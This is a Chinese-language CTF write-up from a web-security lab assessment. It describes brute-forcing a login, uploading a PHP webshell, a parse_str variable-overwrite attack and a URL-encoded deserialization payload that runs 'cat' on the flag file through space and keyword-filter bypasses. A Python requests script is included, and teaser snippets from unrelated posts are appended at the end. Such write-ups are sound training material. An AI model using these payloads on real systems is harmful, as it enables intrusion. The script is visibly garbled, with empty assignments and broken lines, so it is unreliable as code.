開啟連線後看到登陸頁面,第一反應是sql注入,試過幾下之後才在原始碼中看到了hint
base64解密為「admin」,猜測為username,抓包扔進bp進行爆破,用bp自帶的字典就拿到了密碼
拿到了第乙個flag並跳轉到乙個檔案上傳頁面
抓包,傳入php檔案並修改檔案型別發現上傳成功,於是傳入一句話webshell,連上蟻劍
在look_here.txt中拿到第二個flag
第一題結束
開啟頁面啥都沒有,架起御劍掃瞄後台
審計**,發現存在有parse_str變數覆蓋漏洞,直接構造url進行嘗試
經過嘗試發現如圖url順利拿到第乙個flag
第乙個flag到手
繼續**審計,這裡很顯然是利用反序列化漏洞
利用$繞過空格過濾,用雙寫繞過字串過濾,這裡一定要在php中將序列化的結果進行一次urlencode,原因如下:
用下面的**進行試驗
import requests
from urllib.parse import urlencode
from urllib.parse import unquote
url =
""data=
'o%3a4%3a%22come%22%3a2%3a%7bs%3a11%3a%22%00come%00funcs%22%3bs%3a6%3a%22danger%22%3bs%3a10%3a%22%00come%00args%22%3ba%3a1%3a%7bi%3a0%3bs%3a27%3a%22%60cat%24%7bifs%7dflaflag.phpg.php%60%22%3b%7d%7d'
data1=
data2=
flaflag.phpg.php`";}}'
}print
(data1)
print
(data2)
print
(data)
print
(urlencode(data2)
)#a=requests.post(url,data=data1)
#print(a.content)
這裡可以看到,如果php中未進行urlencode,則造成了%00字元的丟失。而在php中進行urlencode之後再在py中unquote的話,則保留了\x00,所以可以post成功。
那為什麼會這樣呢?
因為本題裡的類成員為private,所以會在字串中摻入%00,而%00較為特殊,就導致了如果不在php裡進行urlencode就會缺失的情況。
附上成功提交的指令碼
import requests
from urllib.parse import urlencode
from urllib.parse import unquote
url =
""data1=
a=requests.post(url,data=data1)
print
(a.content)
ok!成功的成為了極光實驗室的一名菜雞。(要好好努力啊) 極光實驗室 web 考核wp
第一題略 不要問我為什麼emmmm 基本payload被構造好以後,接下來就開始想怎麼繞過 眼癌患者注意正則匹配裡還過濾了空格,所以想方法繞過 google一下發現bash命令繞過空格的方法很多 環境變數ifs 重定向都可 ifs 9 諸如此類,這裡選用 所以payload變成echo cat fl...
實驗室吃飯記賬系統web
不得不說,生活驅動學習啊。因為實驗室只有一張卡可以去教職工食堂吃飯,所以大家都共用一張卡,於是記賬就成了乙個不可避免的問題。之前都是簡單記紙上,經常容易忘記記賬而且算起賬來很麻煩,所以突然想到,我們都是要搞it的人啊,結合最近在學的python,就想著用python搞個web伺服器來記賬。說幹就幹 ...
華為實驗室
談到華為,大家都不陌生 世界500強 全球第二通訊 商,為全球140多個國家和地區的20多億人提供服務 同時也是全球ict領域的領導者。如此成就和至高無上的榮譽地位,其成功更是與實驗室無數個日夜的技術鑽研有著分不開的關係。關注過華為的朋友想必聽說過 2012實驗室 據稱,該實驗室的名字來自於任正非在...